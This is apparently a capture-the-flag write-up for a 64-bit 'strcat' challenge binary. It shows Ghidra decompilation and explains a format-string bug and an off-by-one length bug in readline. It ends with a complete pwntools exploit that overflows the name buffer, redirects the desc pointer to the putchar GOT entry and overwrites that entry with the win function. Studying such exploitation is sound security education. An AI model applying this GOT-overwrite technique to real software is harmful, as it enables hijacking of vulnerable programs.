We are given a 64-bit binary with ASLR (but no PIE). Looking through the functionality of the binary, it asks us for a name, a desc(which was a malloc-ed chunk of 0x20 size) and then through a menu prompt, let’s us concatenate stuff to this name buffer (which has a maxlen of 0x80 btw) and to the desc chunk. There is also a win fucntion which simply prints the flag on the screen. So, our objective is simply to call the win function.

One obvious vulnerability was a format string vulnerability in the main function where printf(name) and printf(desc) are used. Now, since these buffers are in the BSS and heap section, so a format string was somewhat tricky(You can try that though).

ulong readline(void *param_1,int param_2)

{
  uint uVar1;
  size_t sVar2;
  
  read(0,param_1,(long)param_2);
  sVar2 = strlen(name);
  uVar1 = (int)sVar2 - 1;
  *(undefined *)((long)param_1 + (long)(int)uVar1) = 0;
  return (ulong)uVar1;
}

readline function disassembly using Ghidra


void main(void)

{
  int iVar1;
  size_t sVar2;
  size_t sVar3;
  
  setup();
  puts("My strcat");
  maxlen = 0x80;
  printf("Name: ");
  iVar1 = readline(name,0x80);
  maxlen = maxlen - iVar1;
  desc = (char *)malloc(0x20);
  printf("Desc: ");
  readline(desc,0x20);
  do {
    while( true ) {
      print_menu();
      printf("> ");
      iVar1 = read_int32();
      if (iVar1 != 2) break;
      printf("Desc: ");
      readline(desc,0x20);
    }
    if (iVar1 == 3) {
      printf(name);
      printf(desc);
      putchar(10);
    }
    else {
      if (iVar1 == 1) {
        printf("Name: ");
        iVar1 = maxlen;
        sVar2 = strlen(name);
        sVar3 = strlen(name);
        iVar1 = readline(name + sVar3,(ulong)(uint)(iVar1 - (int)sVar2),sVar3);
        maxlen = maxlen - iVar1;
      }
      else {
        puts("Invalid");
      }
    }
  } while( true );
}

main function disassembly using ghidra

Another (not so obvious) vulnerability was in the readline function which calculated the length of the string as len = strlen(string) and returned the value len - 1 . Now in the main function, when we concatenate something to the name buffer, maxlen is updated to maxlen = maxlen - readline(name). Oh, and one thing to remember, the desc pointer was located just below the name buffer. So, with an overflow in the buffer we could overwrite desc pointer and then edit this modified pointer through the menu. How do we get this overflow?

If we send \x00 as the name, then strlen(name) would return 0x0 and the readline function would actually return -1, this would mean maxlen = maxlen - (-1) which effectively overflows our name buffer once, repeat this method to increase the maxlen buffer to say 0x90. Now, we can simply overwrite the desc poiner to point it to a GOT function (I chose the [email protected] for this) and then with the help of edit desc option, overwrite this GOT entry to point to win function.

The entire exploit can then be written as:

#!/usr/bin/python

from pwn import *

'''
[*]strcat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

'''

local = False

if '-r' not in sys.argv:
    local = True

p = process('./strcat')
e = ELF('./strcat')


def init(name, desc):
    p.sendafter('Name:', name)
    p.sendafter('Desc:', desc)

def add_to_name(name):
    p.sendlineafter('>', str(1))
    p.sendafter('Name:', name)

def edit_desc(desc):
    p.sendlineafter('>', str(2))
    p.sendafter('Desc:', desc)

def viewall():
    p.sendlineafter('>', str(3))
    data = p.recvuntil('Menu',drop=True)


#Trigger the bug discussed above by sending '\x00' as the name
name_init = '\x00'
desc_init = "AAAAAAA"
init(name_init, desc_init)

# Continuosly increase maxlen to cover the desc pointer by sending null byte
for i in xrange(16):
    add_to_name('\x00')


# Finally overwriting the desc pointer with the GOT entry for putchar
payload = "A"*0x80 + '\x20\x20\x60\x20'
add_to_name(payload)

# Overwrite [email protected] with win function
payload = p64(e.symbols['win'])
edit_desc(payload)

# Use the print it all function in menu and you'll get the flag

p.interactive()